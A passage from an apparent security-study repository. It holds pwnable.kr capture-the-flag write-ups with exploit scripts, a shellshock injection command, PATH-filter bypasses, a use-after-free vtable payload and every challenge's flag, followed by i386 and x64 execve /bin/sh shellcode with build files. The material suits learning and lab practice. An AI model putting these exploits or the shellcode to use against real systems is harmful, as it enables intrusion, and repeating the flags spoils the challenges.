scanf(), it will be considered as a address. 274 | 275 | If we can control the content of the variable passcode1 and passcode2, we will get the flag. The first idea is manipulate the content of the string name[100]. The content of the stack will not be cleaned when the current function is returned. The content in the stack will be reused by the next calling function, which is login() in this case. However, we can only manipulate the initial value of the passcode1, since the variable layout of the stack. The good news is the initial value of the variable passcode1 will be used as a address for the function scanf(). Based on this vulnerability, we can overwrite an 4 byte memory, where the flag is marked as writeable. GOT PLT exploitation technique will be very helpful in this situation. We can overwrite the PLT record of the function exit() to the value 0x80485d7, which is the address of the login ok logic. 276 | 277 | The content of ex.py is: 278 | 279 | ``` 280 | #!/usr/bin/env python 281 | import sys 282 | # 0x0804a018 is exit@GOT 283 | val=0x60*'A'+'\x18\xa0\x04\x08' 284 | print(val) 285 | sys.stdout.flush() 286 | # 134514135 is 0x80485d7 287 | # which is the address of the login ok logic 288 | print(134514135) 289 | sys.stdout.flush() 290 | # The second scanf should be failed 291 | print('XXX') 292 | ``` 293 | 294 | Then we use `python /tmp/ex.py | ./passcode` to escape the login check function. 295 | 296 | - 297 | `Sorry mom.. I got confused about scanf usage :(` 298 | 299 | - 300 | 301 | ### random 302 | 303 | It is a vulnerability that using rand() without initialising the seed firstly. 304 | 305 | The vulnerable source code is: 306 | 307 | ``` 308 | #include 309 | 310 | int main(){ 311 | unsigned int random; 312 | random = rand(); // random value! 313 | printf("random: %d\n",random); 314 | unsigned int key=0; 315 | scanf("%d", &key); 316 | 317 | if( (key ^ random) == 0xdeadbeef ){ 318 | printf("Good!\n"); 319 | system("/bin/cat flag"); 320 | return 0; 321 | } 322 | 323 | printf("Wrong, maybe you should try 2^32 cases.\n"); 324 | return 0; 325 | } 326 | 327 | ``` 328 | 329 | I found every time, the random value is 1804289383. 330 | The key will be 1804289383 xor 0xdeadbeef, which is 331 | 3039230856 332 | 333 | - 334 | `Mommy, I thought libc random is unpredictable...` 335 | 336 | - 337 | 338 | ### input 339 | 340 | This task is mainly to train the ability to communicate the testing server. 341 | 342 | Linux programming knowledges,such as `pipe` ,`fork`, `execve` and `socket`, are necessary. 343 | 344 | The source code is followed. 345 | 346 | ``` 347 | #include 348 | #include 349 | #include 350 | #include 351 | #include 352 | 353 | int main(int argc, char* argv[], char* envp[]){ 354 | printf("Welcome to pwnable.kr\n"); 355 | printf("Let's see if you know how to give input to program\n"); 356 | printf("Just give me correct inputs then you will get the flag :)\n"); 357 | 358 | // argv 359 | if(argc != 100) return 0; 360 | if(strcmp(argv['A'],"\x00")) return 0; 361 | if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; 362 | printf("Stage 1 clear!\n"); 363 | 364 | // stdio 365 | char buf[4]; 366 | read(0, buf, 4); 367 | if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; 368 | read(2, buf, 4); 369 | if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; 370 | printf("Stage 2 clear!\n"); 371 | 372 | // env 373 | if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; 374 | printf("Stage 3 clear!\n"); 375 | 376 | // file 377 | FILE* fp = fopen("\x0a", "r"); 378 | if(!fp) return 0; 379 | if( fread(buf, 4, 1, fp)!=1 ) return 0; 380 | if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; 381 | fclose(fp); 382 | printf("Stage 4 clear!\n"); 383 | 384 | // network 385 | int sd, cd; 386 | struct sockaddr_in saddr, caddr; 387 | sd = socket(AF_INET, SOCK_STREAM, 0); 388 | if(sd == -1){ 389 | printf("socket error, tell admin\n"); 390 | return 0; 391 | } 392 | saddr.sin_family = AF_INET; 393 | saddr.sin_addr.s_addr = INADDR_ANY; 394 | saddr.sin_port = htons( atoi(argv['C']) ); 395 | if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ 396 | printf("bind error, use another port\n"); 397 | return 1; 398 | } 399 | listen(sd, 1); 400 | int c = sizeof(struct sockaddr_in); 401 | cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); 402 | if(cd < 0){ 403 | printf("accept error, tell admin\n"); 404 | return 0; 405 | } 406 | if( recv(cd, buf, 4, 0) != 4 ) return 0; 407 | if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; 408 | printf("Stage 5 clear!\n"); 409 | 410 | // here's your flag 411 | system("/bin/cat flag"); 412 | return 0; 413 | } 414 | ``` 415 | 416 | The task answer source code exploit.c is followed. 417 | 418 | ``` 419 | #include 420 | #include 421 | #include 422 | #include 423 | #include 424 | #include 425 | #include 426 | #include 427 | #include 428 | #include 429 | const int argv_len = 101; 430 | char* g_argv[101]; 431 | int g_pipe0[2]; 432 | char* fd0_text="\x00\x0a\x00\xff"; 433 | int g_pipe2[2]; 434 | char* fd2_text="\x00\x0a\x02\xff"; 435 | char* g_envp[2]; 436 | void stage0(){ 437 | chdir("/tmp"); 438 | int ret=symlink("/home/input/flag","/tmp/flag"); 439 | if (-1==ret && errno==EEXIST){ 440 | unlink("/tmp/flag"); 441 | symlink("/home/input/flag","/tmp/flag"); 442 | } 443 | } 444 | void stage1(){ 445 | for (int i=0;i 520 | #include 521 | 522 | #define PW_LEN 10 523 | #define XORKEY 1 524 | 525 | void xor(char* s, int len){ 526 | int i; 527 | for(i=0; i 0)){ 546 | printf("read error\n"); 547 | close(fd); 548 | return 0; 549 | } 550 | 551 | char pw_buf2[PW_LEN+1]; 552 | printf("input password : "); 553 | scanf("%10s", pw_buf2); 554 | 555 | // xor your input 556 | xor(pw_buf2, 10); 557 | 558 | if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ 559 | printf("Password OK\n"); 560 | system("/bin/cat flag\n"); 561 | } 562 | else{ 563 | printf("Wrong Password\n"); 564 | } 565 | 566 | close(fd); 567 | return 0; 568 | } 569 | 570 | ``` 571 | 572 | The vulnerability exists in the line 573 | 574 | `fd=open("/home/mistake/password",O_RDONLY,0400) < 0` 575 | 576 | The variable `fd` will be 0, if open function calls successfully. 577 | The vulnerability results the buffer `pw_buf` is assigned by the input from user. 578 | 579 | The input works very well: 580 | 581 | ``` 582 | AAAAAAAAAA 583 | @@@@@@@@@@ 584 | ``` 585 | 586 | The flag is: 587 | 588 | - 589 | `Mommy, the operator priority always confuses me :(` 590 | 591 | - 592 | 593 | ### shellshock 594 | 595 | The `shellshock` is a command injection vulnerability which could be conduct through manipulating environment variables in shell. 596 | 597 | I tried the command `env x='() { :;}; /bin/cat flag' ./shellshock `, then got the flag. 598 | 599 | - 600 | `only if I knew CVE-2014-6271 ten years ago..!!` 601 | 602 | - 603 | 604 | ### coin1 605 | 606 | The counterfeit coin will be tested through binary search. 607 | The answer python source code is followed. 608 | 609 | ``` 610 | #!/usr/bin/env python 611 | 612 | import re 613 | import socket 614 | from sets import Set 615 | 616 | IP= "127.0.0.1" 617 | PORT = 9007 618 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 619 | sock.connect((IP,PORT)) 620 | BUFF_SIZE=4096 621 | bala=sock.recv(BUFF_SIZE) 622 | print("recv: len:%d"%len(bala)) 623 | while (True): 624 | line = sock.recv(BUFF_SIZE) 625 | line.rstrip() 626 | print ("recv: \n"+line) 627 | pack=re.findall('[0-9]+',line) 628 | N=0 629 | C=0 630 | if 2==len(pack): 631 | N=int(pack[0]) 632 | C=int(pack[1]) 633 | else: 634 | print("Game Over!") 635 | #print("N=%d, C=%d"%(N,C)) 636 | coinList=range(N) 637 | pickNum = N/2 638 | roundCnt=0 639 | while (True): 640 | roundCnt+=1 641 | candidateList=[] 642 | send_text="" 643 | cand_len=0; 644 | for i in coinList: 645 | candidateList.append(i) 646 | cand_len+=1 647 | send_text+=(str(i)+" ") 648 | if cand_len>= pickNum: 649 | send_text.rstrip() 650 | send_text+="\n" 651 | sock.sendall(send_text) 652 | print("send: "+send_text) 653 | break; 654 | ret_text = sock.recv(BUFF_SIZE) 655 | print("recv: "+ret_text) 656 | if ret_text.startswith("Correct!"): 657 | print("Correct!") 658 | break 659 | if ret_text.startswith("Wrong"): 660 | coinList = list(Set(coinList)-Set(candidateList)) 661 | else: 662 | ret_val = int(ret_text) 663 | if ret_val == cand_len*10: #all real 664 | coinList = list(Set(coinList)-Set(candidateList)) 665 | else: # one of then is fake, others are real 666 | coinList = candidateList 667 | print("No. %d, coinList: %d"%(roundCnt,len(coinList))) 668 | if 1==len(coinList): 669 | fake_ind = coinList[0] 670 | while roundCnt<=C: 671 | roundCnt+=1 672 | sock.sendall(str(fake_ind)+"\n") 673 | print("send: "+str(coinList[0])) 674 | ret_text = sock.recv(BUFF_SIZE) 675 | print("No.%d recv: %s"%(roundCnt,ret_text)) 676 | if ret_text.startswith("Correct!"): 677 | print("Correct!") 678 | break 679 | break 680 | pickNum=len(coinList)/2 681 | sock.close() 682 | ``` 683 | 684 | The flag is: 685 | 686 | - 687 | `b1NaRy_S34rch1nG_1s_3asy_p3asy` 688 | 689 | - 690 | 691 | ### blackjack 692 | The vulnerability of the source code is about semantic check. the bet checking will be failed at the second times. And user can also input a negative number, then magic will happen when you lose a game. This vulnerability is found by my lovely wife. 693 | 694 | The source code is followed. 695 | 696 | ``` 697 | int betting() //Asks user amount to bet 698 | { 699 | printf("\n\nEnter Bet: $"); 700 | scanf("%d", &bet); 701 | 702 | if (bet > cash) //If player tries to bet more money than player has 703 | { 704 | printf("\nYou cannot bet more money than you have."); 705 | printf("\nEnter Bet: "); 706 | scanf("%d", &bet); 707 | return bet; 708 | } 709 | else return bet; 710 | } // End Function 711 | ``` 712 | 713 | The flag is. 714 | 715 | - 716 | `YaY_I_AM_A_MILLIONARE_LOL` 717 | 718 | - 719 | 720 | ### lotto 721 | The vulnerability exists in the logic of the calculation of the lotto mark. 722 | 723 | ``` 724 | // calculate lotto score 725 | int match = 0, j = 0; 726 | for(i=0; i<6; i++){ 727 | for(j=0; j<6; j++){ 728 | if(lotto[i] == submit[j]){ 729 | match++; 730 | } 731 | } 732 | } 733 | ``` 734 | 735 | It is high probable that a submit[j] is equal to any of the character of lotto[]. 736 | 737 | This is my solution. 738 | 739 | ``` 740 | #!/usr/bin/env python 741 | import sys 742 | for i in range(10): 743 | print(1) 744 | sys.stdout.flush() 745 | sys.stdout.write(' '*6+'\n') 746 | sys.stdout.flush() 747 | ``` 748 | 749 | The flag is. 750 | 751 | - 752 | `sorry mom... I FORGOT to check duplicate numbers... :(` 753 | 754 | - 755 | 756 | ### cmd1 757 | The environment variables, such as PATH and HOME, can be overwritten by `/bin/env`. 758 | 759 | The vulnerable source code is attached. 760 | 761 | ``` 762 | #include 763 | #include 764 | 765 | int filter(char* cmd){ 766 | int r=0; 767 | r += strstr(cmd, "flag")!=0; 768 | r += strstr(cmd, "sh")!=0; 769 | r += strstr(cmd, "tmp")!=0; 770 | return r; 771 | } 772 | int main(int argc, char* argv[], char** envp){ 773 | putenv("PATH=/fuckyouverymuch"); 774 | if(filter(argv[1])) return 0; 775 | system( argv[1] ); 776 | return 0; 777 | } 778 | ``` 779 | Soft link can be used to bypass string filter. 780 | 781 | Following commands will print the content of the flag. 782 | 783 | ``` 784 | cd /tmp 785 | ln -s /home/cmd1/flag x 786 | /home/cmd1/cmd1 '/usr/bin/env PATH=. /bin/cat x' 787 | ``` 788 | 789 | - 790 | `mommy now I get what PATH environment is for :)` 791 | 792 | - 793 | 794 | ### cmd2 795 | The filter is stronger in this problem. 796 | 797 | ``` 798 | #include 799 | #include 800 | 801 | int filter(char* cmd){ 802 | int r=0; 803 | r += strstr(cmd, "/")!=0; 804 | r += strstr(cmd, "`")!=0; 805 | r += strstr(cmd, "flag")!=0; 806 | return r; 807 | } 808 | 809 | extern char** environ; 810 | void delete_env(){ 811 | char** p; 812 | for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); 813 | } 814 | 815 | int main(int argc, char* argv[], char** envp){ 816 | delete_env(); 817 | putenv("PATH=/no_command_execution_until_you_become_a_hacker"); 818 | if(filter(argv[1])) return 0; 819 | printf("%s\n", argv[1]); 820 | system( argv[1] ); 821 | return 0; 822 | } 823 | 824 | ``` 825 | 826 | My solution is. 827 | 828 | ``` 829 | cd /bin 830 | /home/cmd2/cmd2 ' PATH=. sh ' 831 | cat /home/cmd2/flag 832 | ``` 833 | 834 | The flag is. 835 | 836 | - 837 | `FuN_w1th_5h3ll_v4riabl3s_haha` 838 | 839 | - 840 | 841 | ### uaf 842 | The Use After Free (UAF) is a vulnerability that causes a program to crash, use unexpected value and even execution code. 843 | 844 | the vulnerable source code is followed. 845 | 846 | ``` 847 | #include 848 | #include 849 | #include 850 | #include 851 | #include 852 | using namespace std; 853 | 854 | class Human{ 855 | private: 856 | virtual void give_shell(){ 857 | system("/bin/sh"); 858 | } 859 | protected: 860 | int age; 861 | string name; 862 | public: 863 | virtual void introduce(){ 864 | cout << "My name is " << name << endl; 865 | cout << "I am " << age << " years old" << endl; 866 | } 867 | }; 868 | 869 | class Man: public Human{ 870 | public: 871 | Man(string name, int age){ 872 | this->name = name; 873 | this->age = age; 874 | } 875 | virtual void introduce(){ 876 | Human::introduce(); 877 | cout << "I am a nice guy!" << endl; 878 | } 879 | }; 880 | 881 | class Woman: public Human{ 882 | public: 883 | Woman(string name, int age){ 884 | this->name = name; 885 | this->age = age; 886 | } 887 | virtual void introduce(){ 888 | Human::introduce(); 889 | cout << "I am a cute girl!" << endl; 890 | } 891 | }; 892 | 893 | int main(int argc, char* argv[]){ 894 | Human* m = new Man("Jack", 25); 895 | Human* w = new Woman("Jill", 21); 896 | 897 | size_t len; 898 | char* data; 899 | unsigned int op; 900 | while(1){ 901 | cout << "1. use\n2. after\n3. free\n"; 902 | cin >> op; 903 | 904 | switch(op){ 905 | case 1: 906 | m->introduce(); 907 | w->introduce(); 908 | break; 909 | case 2: 910 | len = atoi(argv[1]); 911 | data = new char[len]; 912 | read(open(argv[2], O_RDONLY), data, len); 913 | cout << "your data is allocated" << endl; 914 | break; 915 | case 3: 916 | delete m; 917 | delete w; 918 | break; 919 | default: 920 | break; 921 | } 922 | } 923 | 924 | return 0; 925 | } 926 | ``` 927 | 928 | There are three stages in the UAF vulnerability exploit. The first one is to use. In this task, two objects is allocated by new operator. Then in Case 3, these two pointer is deleted, which means the memory allocated before are returned to the memory allocator. However, the value of pointers are not cleared. The piece of memory will be reallocated in Case 2, which means the content of memory is manipulated by user input. Finally, in Case 1 `m->introduce()` is a function call, the address of the function is in the Vtable of the object. If we can manipulate the content of the Vtable, we can lead the execution flow to the function `give_shell()`. 929 | 930 | Following gcc command will show the class structs. 931 | 932 | ``` 933 | g++ -fdump-class-hierarchy uaf.cpp 934 | cat uaf.cpp.002t.class | c++filt 935 | ``` 936 | 937 | The following python code is to construct the Vtable. 938 | 939 | ``` 940 | #!/usr/bin/env python 941 | 942 | import sys 943 | 944 | val="\x68\x15\x40\x00\x00\x00\x00\x00"*3 945 | sys.stdout.write(val) 946 | sys.stdout.flush() 947 | ``` 948 | 949 | The shell command is. 950 | 951 | ``` 952 | python /tmp/ex.py > /tmp/x 953 | ./uaf 24 /tmp/x 954 | ``` 955 | 956 | Then the input sequence is 3,2,2,2,2,2,1 957 | 958 | My gdb init script is followed. 959 | 960 | ``` 961 | info file 962 | display/i $pc 963 | break main 964 | set follow-fork-mode child 965 | run 24 heap.dat < input.dat 966 | ``` 967 | 968 | The flag is. 969 | 970 | - 971 | `yay_f1ag_aft3r_pwning` 972 | 973 | - 974 | ## Conclusion 975 | In conclusion, problems in this level is basic. We learned the communication skills and realised basic algorithm is necessary. Some problems also need creative thinking. Two typical vulnerabilities, which are shellshock(CVE-2014-6271) and user after free (CWE-416) deserve to be researched carefully. 976 | ## References 977 | 1. [rk700](http://rk700.github.io/tags.html#pwnable.kr-ref) 978 | 2. [CWE-416: Use After Free](https://cwe.mitre.org/data/definitions/416.html) -------------------------------------------------------------------------------- /sec_media/README.md: -------------------------------------------------------------------------------- 1 | # The study report of security media and conference 2 | 3 | ## Introduction 4 | 5 | I will list several widely recognised security journals and conferences. And I will discuss them in popularity and ease of publish. 6 | 7 | ## Journals and Conferences 8 | 9 | ### ISC2 10 | 11 | 1. [Information Security Journal: A Global Perspective](https://www.isc2.org/isc2-journal.aspx) 12 | 2. [InfoSecurity Professional Magazine](https://www.isc2.org/infosecurity_professional/default.aspx) 13 | 3. [vulnerability central](https://vulnerability.isc2.org/) 14 | 15 | ### McAfee 16 | 17 | 1. [McAfee Labs Threats Report](http://www.mcafee.com/us/resources/reports/rp-quarterly-threats-may-2016.pdf) 18 | 19 | ### GIAC 20 | 21 | 1. [GIAC Gold](https://www.giac.org/certifications/gold) 22 | 23 | 2. [SANS Reading Room](https://www.sans.org/reading-room/) 24 | 25 | ### defcon, blackhat, RSA and infosec 26 | 27 | ### magazine 28 | http://www.infosecurity-magazine.com/ 29 | http://www.scmagazine.com/ 30 | http://www.cyberdefensemagazine.com/ 31 | ### Coursera 32 | 33 | ### Academic resources 34 | 35 | 1. Background 36 | 2. Big 4 A Level conference: S&P,CCS, USENIX Security, NDSS. 37 | 3. Practical conference:RAID, TrustCom,International Conference on Malware an Unwanted software, DIMVA 38 | 39 | 40 | -------------------------------------------------------------------------------- /shellcode/linux/execve/README.md: -------------------------------------------------------------------------------- 1 | # shell code for execve on Linux 2 | 3 | # i386 4 | 5 | ```asm 6 | ./shellcode.i386.elf: file format elf32-i386 7 | 8 | 9 | Disassembly of section .text: 10 | 11 | 08048060 <_start>: 12 | 8048060: 31 c0 xor %eax,%eax 13 | 8048062: 50 push %eax 14 | 8048063: 68 6e 2f 73 68 push $0x68732f6e 15 | 8048068: 68 2f 2f 62 69 push $0x69622f2f 16 | 804806d: 89 e3 mov %esp,%ebx 17 | 804806f: 50 push %eax 18 | 8048070: 53 push %ebx 19 | 8048071: 89 e1 mov %esp,%ecx 20 | 8048073: 89 c2 mov %eax,%edx 21 | 8048075: b0 0b mov $0xb,%al 22 | 8048077: cd 80 int $0x80 23 | ``` 24 | 25 | ```python 26 | SHELL_CODE = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" 27 | ``` 28 | 29 | ```c 30 | unsigned char shellcode_i386_bin[] = { 31 | 0x31, 0xc0, 0x50, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 32 | 0x69, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x89, 0xc2, 0xb0, 0x0b, 0xcd, 33 | 0x80 34 | }; 35 | unsigned int shellcode_i386_bin_len = 25; 36 | ``` 37 | 38 | # x64 39 | 40 | ```asm 41 | ./shellcode.x64.elf: file format elf64-x86-64 42 | 43 | 44 | Disassembly of section .text: 45 | 46 | 0000000000400080 <_start>: 47 | 400080: 48 31 d2 xor %rdx,%rdx 48 | 400083: 48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx 49 | 40008a: 2f 73 68 50 | 40008d: 48 c1 eb 08 shr $0x8,%rbx 51 | 400091: 53 push %rbx 52 | 400092: 54 push %rsp 53 | 400093: 5f pop %rdi 54 | 400094: 52 push %rdx 55 | 400095: 57 push %rdi 56 | 400096: 54 push %rsp 57 | 400097: 5e pop %rsi 58 | 400098: 52 push %rdx 59 | 400099: 58 pop %rax 60 | 40009a: b0 3b mov $0x3b,%al 61 | 40009c: 0f 05 syscall 62 | ``` 63 | 64 | ```python 65 | SHELL_CODE="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x54\x5f\x52\x57\x54\x5e\x52\x58\xb0\x3b\x0f\x05" 66 | ``` 67 | 68 | ```c 69 | unsigned char shellcode_x64_bin[] = { 70 | 0x48, 0x31, 0xd2, 0x48, 0xbb, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 71 | 0x68, 0x48, 0xc1, 0xeb, 0x08, 0x53, 0x54, 0x5f, 0x52, 0x57, 0x54, 0x5e, 72 | 0x52, 0x58, 0xb0, 0x3b, 0x0f, 0x05 73 | }; 74 | unsigned int shellcode_x64_bin_len = 30; 75 | ``` 76 | 77 | 78 | -------------------------------------------------------------------------------- /shellcode/linux/execve/c/Makefile: -------------------------------------------------------------------------------- 1 | OPT=-v -static -Os 2 | SRC=execve.c 3 | OUT=execve 4 | all: clean x64 i386 5 | 6 | x64: 7 | #It is unable to use gcc -S, since execve will not be linked yet. 8 | #gcc -S -masm=intel execve.c -o execve.x64.asm 9 | gcc $(OPT) -m64 $(SRC) -o $(OUT).x64.bin 10 | objdump -M intel -d $(OUT).x64.bin > $(OUT).x64.asm 11 | i386: 12 | gcc $(OPT) -m32 $(SRC) -o $(OUT).i386.bin 13 | objdump -M intel -d $(OUT).i386.bin > $(OUT).i386.asm 14 | clean: 15 | rm -rf *.bin *.asm 16 | 17 | .PHONY: clean x64 i386 -------------------------------------------------------------------------------- /shellcode/linux/execve/c/execve.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(){ 5 | char * target = "//bin/sh"; 6 | char * para_list[2] = { target, NULL}; 7 | int ret = execve(target, para_list, NULL); 8 | return ret; 9 | } 10 | -------------------------------------------------------------------------------- /shellcode/linux/execve/i386/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | rm -rf *.bin *.o *.elf 3 | nasm -f elf32 shellcode.asm -o shellcode.i386.o 4 | ld -m elf_i386 shellcode.i386.o -o shellcode.i386.elf 5 | objcopy -j .text -O binary shellcode.i386.elf shellcode.i386.bin 6 | @echo "python:" 7 | @od -t x1 -An shellcode.i386.bin | tr -d '\n' | sed 's/ /\\x/g' 8 | @echo "\nc&c++:" 9 | xxd -i shellcode.i386.bin -------------------------------------------------------------------------------- /shellcode/linux/execve/i386/shellcode.asm: -------------------------------------------------------------------------------- 1 | Section .text progbits alloc exec write 2 | global _start 3 | _start: 4 | xor eax, eax ; eax = 0 5 | 6 | push eax ; push NULL 7 | push 0x68732f6e 8 | push 0x69622f2f ; esp -> 2f 2f 62 69 6e 2f 73 68 00 00 00 00 9 | mov ebx, esp ; ebx = the pointer to cmd 10 | push eax ; push NULL 11 | push ebx 12 | mov ecx, esp ; ecx = the pointer to {cmd,NULL} 13 | mov edx, eax ; edx = the pointer to ENV( NULL ) 14 | mov al, 0x0b ; eax = 0x0b 15 | int 0x80 ; sys call -------------------------------------------------------------------------------- /shellcode/linux/execve/x64/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | rm -rf *.bin *.o *.elf 3 | nasm -f elf64 shellcode.asm -o shellcode.x64.o 4 | ld -m elf_x86_64 shellcode.x64.o -o shellcode.x64.elf 5 | objcopy -j .text -O binary shellcode.x64.elf shellcode.x64.bin 6 | @echo "python:" 7 | @od -t x1 -An shellcode.x64.bin | tr -d '\n' | sed 's/ /\\x/g' 8 | @echo "\nc&c++:" 9 | xxd -i shellcode.x64.bin -------------------------------------------------------------------------------- /shellcode/linux/execve/x64/shellcode.asm: -------------------------------------------------------------------------------- 1 | ; Register allocation for x64 function calls 2 | ; function_call(%rax) = function(%rdi, %rsi, %rdx, %r10, %r8, %r9) 3 | ; ^system ^arg1 ^arg2 ^arg3 ^arg4 ^arg5 ^arg6 4 | ; call # 5 | 6 | Section .text progbits alloc exec write 7 | global _start 8 | _start: 9 | xor rdx, rdx ; rdx = 0 10 | mov qword rbx, '//bin/sh' ; align to 8 bytes, 0x68 73 2f 6e 69 62 2f 2f 11 | shr rbx, 0x08 ; 0x00 68 73 2f 6e 69 62 2f 12 | push rbx ; rsp -> 2f 62 69 6e 2f 73 68 00 "/bin/sh\0" 13 | ; mov rdi, rsp ; rdi = the pointer to cmd , but 3 bytes 14 | push rsp 15 | pop rdi ; only 2 bytes 16 | push rdx ; push NULL 17 | push rdi ; push the pointer to cmd 18 | ; mov rsi, rsp ; rsi = the pointer to {cmd,NULL} 19 | push rsp 20 | pop rsi ; only 2 bytes 21 | ; mov rax, rdx ; rax = 0 22 | push rdx 23 | pop rax ; only 2 bytes 24 | mov al, 0x3b ; syscall number 25 | syscall ; call 26 | 27 | 28 | -------------------------------------------------------------------------------- /shellcode/linux/system/c/Makefile: -------------------------------------------------------------------------------- 1 | OPT=-v -static -Os 2 | SRC=system.c 3 | OUT=system 4 | all: clean x64 i386 5 | 6 | x64: 7 | #It is unable to use gcc -S, since execve will not be linked yet. 8 | #gcc -S -masm=intel execve.c -o execve.x64.asm 9 | gcc $(OPT) -m64 $(SRC) -o $(OUT).x64.bin 10 | objdump -M intel -d $(OUT).x64.bin > $(OUT).x64.asm 11 | i386: 12 | gcc $(OPT) -m32 $(SRC) -o $(OUT).i386.bin 13 | objdump -M intel -d $(OUT).i386.bin > $(OUT).i386.asm 14 | clean: 15 | rm -rf *.bin *.asm 16 | 17 | .PHONY: clean x64 i386 -------------------------------------------------------------------------------- /shellcode/linux/system/c/system.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(){ 4 | system("ls"); 5 | return 0; 6 | } --------------------------------------------------------------------------------